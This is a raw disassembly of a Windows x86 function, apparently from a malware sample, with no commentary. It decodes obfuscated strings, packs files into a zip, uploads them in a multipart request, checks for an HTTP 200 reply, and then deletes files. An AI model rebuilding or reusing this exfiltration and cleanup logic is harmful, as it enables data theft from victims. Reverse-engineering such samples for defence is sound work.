mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0x6d69c0
cmp ecx, 0x91
jne 0x43dc82
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x34]
call fcn.00409a00
mov ecx, dword [ebp - 0x1c]
add esp, 4
test ecx, ecx
jne 0x43ec84
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43dcc4
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43dcba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec95
push ecx
push edx
call fcn.0061ef9d
add esp, 8
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047d7b0
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d69c0
lea ecx, [ebp - 0x34]
call fcn.00409770
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43ec9a
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43dd5a
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecab
push ecx
push edx
call fcn.0061ef9d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43e1ed
push str.041c1217574347505243595c5f495c585a48565f5d51505e5e54
lea ecx, [ebp - 0x100]
call fcn.004113c0
push str.lhfgmlhfgmhlfgmhlfgmhkfghmfkghmfgkhfgfg
lea ecx, [ebp - 0xa0]
call fcn.004113c0
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x58]
call fcn.004388b0
lea eax, [ebp - 0xa0]
push eax
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0xb8]
call fcn.004387a0
add esp, 4
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x60], 0
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0xf
movups xmmword [ebp - 0x70], xmm0
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 0x70], 0
push eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
push eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.0041b2b0
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x43de29
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43de1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecb0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x43de5d
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43de53
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecb0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
push 0xb8
lea eax, [ebp - 0x368]
push 0
push eax
call fcn.006213c0
add esp, 4
lea eax, [ebp - 0xd0]
lea ecx, [ebp - 0x368]
push 0x20
push eax
call fcn.00441b50
cmp dword [ebp - 0x30c], 0
je 0x43e051
lea eax, [ebp - 0x368]
mov dword [ebp - 0xd4], 0
xorps xmm0, xmm0
mov word [ebp - 0x18], 1
push eax
lea ecx, [ebp - 0x674]
movq qword [ebp - 0xdc], xmm0
call fcn.0043ed10
push dword [ebp - 0x18]
push 0
push dword [eax + 4]
push dword [eax]
push ecx
lea ecx, [ebp - 0xdc]
call fcn.0045c7b0
lea ecx, [ebp - 0x368]
call fcn.00441a10
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
push str.metadata
lea ecx, [ebp - 0x428]
movq qword [ebp - 0x10c], xmm0
call fcn.004113c0
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x410]
call fcn.00447840
push str.message.txt
lea ecx, [ebp - 0x3f8]
call fcn.004113c0
push str.text_plain
lea ecx, [ebp - 0x3e0]
call fcn.004113c0
push str.file
lea ecx, [ebp - 0x3c8]
call fcn.004113c0
push ecx
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x3b0]
push dword [ebp - 0xdc]
call fcn.0045a580
push str.file.zip
lea ecx, [ebp - 0x398]
call fcn.004113c0
push str.application_zip
lea ecx, [ebp - 0x380]
call fcn.004113c0
lea ecx, [ebp - 0x428]
push ecx
lea eax, [ebp - 0x368]
push eax
push ecx
lea ecx, [ebp - 0x10c]
call fcn.00440d50
push fcn.00414110
push 2
push 0x60
lea eax, [ebp - 0x428]
push eax
call fcn.0061ec37
xorps xmm0, xmm0
lea ecx, [ebp - 0x66c]
push 0x6a56cc
movups xmmword [ebp - 0x648], xmm0
call fcn.004113c0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0041b9f0
lea ecx, [ebp - 0x66c]
call fcn.00447640
mov eax, dword [ebp - 0x648]
test eax, eax
je 0x43e005
cmp dword [eax + 0x18], 0xc8
je 0x43e030
push str.Failed_to_send_data:
push 0x6ec250
call fcn.00453340
mov ecx, dword [ebp - 0x644]
lea edx, [ebp - 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, eax
call fcn.00411620
push eax
call fcn.00458f90
add esp, 0xc
lea ecx, [ebp - 0x648]
call fcn.00417150
lea ecx, [ebp - 0x10c]
call fcn.0044b2b0
lea ecx, [ebp - 0xdc]
call fcn.00443c80
mov eax, dword [ebp - 0x368]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x36c], eax
lea ecx, [ebp - 0x358]
call fcn.00441960
mov eax, dword [ebp - 0x368]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x36c], eax
lea eax, [ebp - 0x2f8]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0060d55e
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x43e0de
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x43e118
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e10e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecb0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
cmp ecx, 0xf
jbe 0x43e167
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e15d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecb0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0xf
jbe 0x43e1b3
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e1a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecb0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xec]
cmp ecx, 0xf
jbe 0x43e1ed
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e1e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecb0
push ecx
push edx
call fcn.0061ef9d
add esp, 8
push 0x5c
xorps xmm0, xmm0
mov dword [ebp - 0x90], 0
push str.5147425c524d434054435f33383319342906272c1d3a0500503d1b232a023623543113193b294d312a161e041301
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0xa0], xmm0
call fcn.00411430
push 0x14
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
push str.4b55444353414255464a
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
call fcn.00411430
push 0x1d
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
push str.fusdgyuygueryukdjqsodqsidqsop
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
call fcn.00411430
push 0x2a
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
push str.zerzerzerzerzerzerzerzerzerzerzrghdhdfghdf
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
call fcn.00411430
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x268]
call fcn.004388b0
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0x250]
call fcn.004387a0
add esp, 4
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x238]
call fcn.004388b0
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x220]
call fcn.004387a0
add esp, 4
lea eax, [ebp - 0x208]
lea edx, [ebp - 0x220]
lea ecx, [ebp - 0x250]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.00438390
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047d7b0
add esp, 0x14
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d69c0
lea ecx, [ebp - 0x34]
call fcn.00409770
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43ecb5
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e39c
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e38c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecc6
push ecx
push edx
call fcn.0061ef9d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43e424
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047d7b0
add esp, 0xc
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 7
cmova eax, dword [ebp - 0x34]
push eax
call fcn.0060b2e3
test edx, edx
jne 0x43eccb
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e424
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e41a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecd9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
cmp dword [ebp - 0x11c], 7
lea eax, [ebp - 0x130]
push dword [ebp - 0x120]
cmova eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x34]
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
push eax
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
call fcn.00423ce0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x18], 0x6d69c0
call fcn.00409770
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43ecde
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e4c5
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e4b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecef
push ecx
push edx
call fcn.0061ef9d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43e55c
cmp dword [ebp - 0x11c], 7
lea eax, [ebp - 0x130]
push dword [ebp - 0x120]
cmova eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x68c]
xorps xmm0, xmm0
mov dword [ebp - 0x67c], 0
push eax
movups xmmword [ebp - 0x68c], xmm0
mov dword [ebp - 0x678], 0
call fcn.00423ce0
lea ecx, [ebp - 0x68c]
call fcn.00409bd0
mov ecx, dword [ebp - 0x678]
cmp ecx, 7
jbe 0x43e55c
mov edx, dword [ebp - 0x68c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e552
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf4
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x20c]
xor esi, esi
cmp ecx, 0xf
jbe 0x43e598
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e58e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp ecx, 0xf
jbe 0x43e5e9
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e5df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x228], esi
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
cmp ecx, 0xf
jbe 0x43e63a
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e630
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
cmp ecx, 0xf
jbe 0x43e68b
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e681
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x258], esi
mov dword [ebp - 0x254], 0xf
mov byte [ebp - 0x268], 0
cmp ecx, 0xf
jbe 0x43e6d6
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e6cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x43e710
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e706
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x43e744
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e73a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x43e77e
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e774
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0xf
jbe 0x43e7b8
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e7ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
cmp ecx, 0xf
jbe 0x43e806
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e7fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0xf
jbe 0x43e851
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e847
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
lea ecx, [ebp - 0x19c]
call fcn.00440780
lea ecx, [ebp - 0x1a8]
call fcn.00440780
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0xf
jbe 0x43e8a1
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e897
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp ecx, 0xf
jbe 0x43e8f6
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e8ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
cmp ecx, 0xf
jbe 0x43e94b
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e941
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
cmp ecx, 7
jbe 0x43e9a6
mov edx, dword [ebp - 0x280]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e99c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x1c4]
xor eax, eax
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 7
mov word [ebp - 0x280], ax
cmp ecx, 0xf
jbe 0x43e9fd
mov edx, dword [ebp - 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e9f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x1dc]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
cmp ecx, 0xf
jbe 0x43ea52
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ea48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp ecx, 7
jbe 0x43eaad
mov edx, dword [ebp - 0x298]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43eaa3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x14c]
xor eax, eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 7
mov word [ebp - 0x298], ax
cmp ecx, 0xf
jbe 0x43eb04
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43eafa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
cmp ecx, 0xf
jbe 0x43eb59
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43eb4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ecx, 7
jbe 0x43ebb4
mov edx, dword [ebp - 0x130]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43ebaa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x29c]
xor eax, eax
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 7
mov word [ebp - 0x130], ax
cmp ecx, 0xf
jbe 0x43ec0b
mov edx, dword [ebp - 0x2b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ecf9
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.00402f70
call fcn.0063629b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.004082b0
call fcn.0063629b
lea ecx, [ebp - 0xb8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x70]
push ecx
mov ecx, str.rename
call fcn.00408220
call fcn.0063629b
call fcn.00402f70
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.004082b0
call fcn.0063629b
lea eax, [ebp - 0x34]
mov ecx, str.remove_all
push eax
lea edx, [ebp - 0x1c]
call fcn.004082b0
call fcn.0063629b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.004082b0
call fcn.0063629b
call fcn.0063629b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.004082b0
call fcn.0063629b
lea eax, [ebp - 0x34]
mov ecx, str.remove
push eax
call fcn.00408190
call fcn.0063629b
lea eax, [ebp - 0x34]
mov ecx, str.exists
push eax
lea edx, [ebp - 0x1c]
call fcn.004082b0
call fcn.0063629b
call fcn.0063629b
call fcn.0063629b
int3